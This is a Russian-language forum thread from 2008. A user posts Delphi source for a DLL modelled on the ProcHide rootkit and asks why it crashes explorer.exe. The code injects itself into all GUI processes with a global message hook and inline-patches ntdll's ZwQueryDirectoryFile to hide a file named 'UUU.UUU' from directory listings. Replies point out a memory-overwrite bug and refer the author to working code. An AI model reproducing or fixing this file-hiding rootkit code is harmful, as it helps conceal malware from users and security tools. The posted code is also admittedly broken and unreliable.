Перехват ZwQueryDirectoryFile (Delphi)

Тема в разделе "WASM.WIN32", создана пользователем Program2008, 25 мар 2008.

  1. Program2008

    Program2008 New Member

    Публикаций:
    0
    Регистрация:
    25 мар 2008
    Сообщения:
    3
    Всем привет!
    Ниже код перехвата указанного процесса, по примеру ProcHide (писал Ms-Rem) с этого ресурса.

    Проблема: при запуске, сыпет ошибки чтения памяти и грохается explorer.exe
    Помогите разобраться.

    Код (Text):
    1. library Hide;
    2.  
    3. uses
    4.   Windows,
    5.   NativeAPI,Dialogs,SysUtils;
    6.  
    7. type
    8.  OldCode = packed record
    9.   One: dword;
    10.   two: word;
    11.  end;
    12.  
    13. type
    14.  FILE_DIRECTORY_INFORMATION = packed record
    15.   NextEntryOffset: ULONG;
    16.   Unknown: ULONG;
    17.   CreationTime,
    18.   LastAccessTime,
    19.   LastWriteTime,
    20.   ChangeTime,
    21.   EndOfFile,
    22.   AllocationSize: int64;
    23.   FileAttributes: ULONG;
    24.   FileNameLength: ULONG;
    25.   FileName: PWideChar;
    26.  end;
    27.  PFILE_DIRECTORY_INFORMATION=^FILE_DIRECTORY_INFORMATION;
    28.  
    29. type
    30.  FILE_FULL_DIRECTORY_INFORMATION = packed record
    31.    NextEntryOffset: ULONG;
    32.    Unknown: ULONG;
    33.    CreationTime,
    34.    LastAccessTime,
    35.    LastWriteTime,
    36.    ChangeTime,
    37.    EndOfFile,
    38.    AllocationSize: int64;
    39.    FileAttributes: ULONG;
    40.    FileNameLength: ULONG;
    41.    EaInformationLength: ULONG;
    42.    FileName: PWideChar;
    43.  end;
    44.  
    45. type
    46.  FILE_BOTH_DIRECTORY_INFORMATION = packed record
    47.    NextEntryOffset: ULONG;
    48.    Unknown: ULONG;
    49.    CreationTime,
    50.    LastAccessTime,
    51.    LastWriteTime,
    52.    ChangeTime,
    53.    EndOfFile,
    54.    AllocationSize: int64;
    55.    FileAttributes: ULONG;
    56.    FileNameLength: ULONG;
    57.    EaInformationLength: ULONG;
    58.    AlternateNameLength: ULONG;
    59.    AlternateName: array [0..11] of WideChar;
    60.    FileName: PWideChar;
    61.  end;
    62.  PFILE_BOTH_DIRECTORY_INFORMATION=^FILE_BOTH_DIRECTORY_INFORMATION;
    63.  
    64. type
    65.  FILE_NAMES_INFORMATION = packed record
    66.    NextEntryOffset: ULONG;
    67.    Unknown: ULONG;
    68.    FileNameLength: ULONG;
    69.    FileName: PWideChar;
    70.  end;
    71.  
    72. far_jmp = packed record
    73.   PuhsOp: byte;
    74.   PushArg: pointer;
    75.   RetOp: byte;
    76.  end;
    77.  
    78. var
    79.  JmpZwq: far_jmp;
    80.  OldZwq: OldCode;
    81.  PtrZwq: pointer;
    82.  
    83. Function ZwQueryDirectoryFile(FileHandle: dword;
    84.                               Event: dword;
    85.                               ApcRoutine: pointer;
    86.                               ApcContext: pointer;
    87.                               IoStatusBlock: pointer;
    88.                               FileInformation: pointer;
    89.                               FileInformationLength: dword;
    90.                               FileInformationClass: dword;
    91.                               ReturnSingleEntry: bool;
    92.                               FileName: PUnicodeString;
    93.                               RestartScan: bool): NTStatus;
    94.                               stdcall; external 'ntdll.dll';
    95.  
    96. Function TrueZwQueryDirectoryFile(FileHandle: dword;
    97.                               Event: dword;
    98.                               ApcRoutine: pointer;
    99.                               ApcContext: pointer;
    100.                               IoStatusBlock: pointer;
    101.                               FileInformation: pointer;
    102.                               FileInformationLength: dword;
    103.                               FileInformationClass: dword;
    104.                               ReturnSingleEntry: bool;
    105.                               FileName: PUnicodeString;
    106.                               RestartScan: bool): NTStatus;
    107.                               stdcall;
    108. var
    109.  Written: dword;
    110. begin
    111.   WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
    112.                      @OldZwq, SizeOf(OldCode), Written);
    113.  
    114.   Result := ZwQueryDirectoryFile(FileHandle,
    115.                               Event,
    116.                               ApcRoutine,
    117.                               ApcContext,
    118.                               IoStatusBlock,
    119.                               FileInformation,
    120.                               FileInformationLength,
    121.                               FileInformationClass,
    122.                               ReturnSingleEntry,
    123.                               FileName,
    124.                               RestartScan);
    125.  
    126.   WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
    127.                      @JmpZwq, SizeOf(far_jmp), Written);
    128. end;
    129.  
    130. Function NewZwQueryDirectoryFile(FileHandle: dword;
    131.                               Event: dword;
    132.                               ApcRoutine: pointer;
    133.                               ApcContext: pointer;
    134.                               IoStatusBlock: pointer;
    135.                               FileInformation: pointer;
    136.                               FileInformationLength: dword;
    137.                               FileInformationClass: dword;
    138.                               ReturnSingleEntry: bool;
    139.                               FileName: PUnicodeString;
    140.                               RestartScan: bool): NTStatus;
    141.                               stdcall;
    142. var
    143.  Info, Prev: PFILE_BOTH_DIRECTORY_INFORMATION;
    144. begin
    145.  Result := TrueZwQueryDirectoryFile(FileHandle,
    146.                               Event,
    147.                               ApcRoutine,
    148.                               ApcContext,
    149.                               IoStatusBlock,
    150.                               FileInformation,
    151.                               FileInformationLength,
    152.                               FileInformationClass,
    153.                               ReturnSingleEntry,
    154.                               FileName,
    155.                               RestartScan);
    156.  
    157.  if (FileInformationClass = 3) and //   FILE_BOTH_DIRECTORY_INFORMATION
    158.     (Result = STATUS_SUCCESS) then
    159.     begin
    160.  
    161.       info:=PFILE_BOTH_DIRECTORY_INFORMATION(FileInformation);
    162.  
    163. //Вот тут где то и есть глюк.... !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    164.       while(Info^.NextEntryOffset > 0) do
    165.        begin
    166.          Prev := Info;
    167.          Info := pointer(dword(Info) + Info^.NextEntryOffset);
    168.          if lstrcmpiw(Info^.FileName, 'UUU.UUU') = 0 then
    169.            Prev^.NextEntryOffset := Prev^.NextEntryOffset + Info^.NextEntryOffset;
    170.        end;
    171.  
    172.     end;
    173. end;
    174.  
    175.  
    176.  
    177. Procedure SetHook();
    178. var
    179.  Bytes: dword;
    180. begin
    181.   PtrZwq  := GetProcAddress(GetModuleHandle('ntdll.dll'),
    182.                             'ZwQueryDirectoryFile');
    183.   ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
    184.   JmpZwq.PuhsOp  := $68;
    185.   JmpZwq.PushArg := @NewZwQueryDirectoryFile;
    186.   JmpZwq.RetOp   := $C3;
    187.   WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
    188. end;
    189.  
    190. Procedure Unhook();
    191. var
    192.  Bytes: dword;
    193. begin
    194.   WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
    195. end;
    196.  
    197. // залепа
    198. Function MessageProc(code : integer; wParam : word;
    199.                     lParam : longint) : longint; stdcall;
    200. begin
    201.  CallNextHookEx(0, Code, wParam, lparam);
    202.  Result := 0;
    203. end;
    204.  
    205. Procedure SetGlobalHookProc();
    206. begin
    207.  SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
    208.  Sleep(INFINITE);
    209. end;
    210. //
    211.  
    212. Procedure SetGlobalHook();
    213. var
    214.  hMutex: dword;
    215.  TrId: dword;
    216. begin
    217.  hMutex := CreateMutex(nil, false, 'ProcHideHook');
    218.  if GetLastError = 0 then
    219.  CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
    220.  CloseHandle(hMutex);
    221. end;
    222.  
    223. procedure DLLEntryPoint(dwReason: DWord);
    224. begin
    225.   case dwReason of
    226.     DLL_PROCESS_ATTACH: begin
    227.                           SetGlobalHook();
    228.                           SetHook();
    229.                         end;
    230.     DLL_PROCESS_DETACH: begin
    231.                           Unhook();
    232.                         end;
    233.   end;
    234. end;
    235.  
    236.  
    237. begin
    238.  DllProc := @DLLEntryPoint;
    239.  DLLEntryPoint(DLL_PROCESS_ATTACH);
    240. end.
     
  2. JamesB

    JamesB New Member

    Публикаций:
    0
    Регистрация:
    3 фев 2008
    Сообщения:
    66
    Отладчик зачем придумали ?
    Перехватывай у себя в процессе для удобства и работай с файлами. Так проще всего под олькой разглядеть где косяк.
     
  3. zoool

    zoool New Member

    Публикаций:
    0
    Регистрация:
    1 дек 2007
    Сообщения:
    412
    SizeOf(OldCode)
    у меня под дизасмом твой код переписывает несколько метров кода.

    Что за сайзоф? явно размер задать никак, например 5 байт или 10?
     
  4. Klayd

    Klayd Степан

    Публикаций:
    0
    Регистрация:
    7 апр 2006
    Сообщения:
    59
    Адрес:
    Киев
  5. Program2008

    Program2008 New Member

    Публикаций:
    0
    Регистрация:
    25 мар 2008
    Сообщения:
    3
    Спасибо большое за помощь,
    на выше приведенной ветке я нашел рабочий код.

    Как сказанно там: "Klayd, вот это помог, спасибо большое! Respect и уважуха!" :)